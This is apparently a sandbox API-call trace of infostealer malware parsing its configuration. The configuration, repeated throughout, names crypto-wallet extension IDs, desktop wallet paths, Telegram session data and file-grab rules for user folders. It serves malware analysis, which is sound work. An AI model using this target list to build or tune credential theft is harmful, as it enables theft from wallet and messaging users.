Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4031 [0266.258] LocalAlloc (uFlags=0x40, uBytes=0x1ffe) returned 0x6fc408 [0266.258] StrCpyW (in: psz1=0x6f4830, psz2="ElectronCash\\wallets" | out: psz1="ElectronCash\\wallets") returned="ElectronCash\\wallets" [0266.258] LocalFree (hMem=0x6fc408) returned 0x0 [0266.259] StrStrW (lpFirst="*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.259] lstrlenW (lpString="elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4031 [0266.259] LocalAlloc (uFlags=0x40, uBytes=0x1ffe) returned 0x6fc408 [0266.259] StrCpyW (in: psz1=0x6f7178, psz2="*" | out: psz1="*") returned="*" [0266.259] LocalFree (hMem=0x6fc408) returned 0x0 [0266.259] StrStrW (lpFirst="-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.260] lstrlenW (lpString="elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension 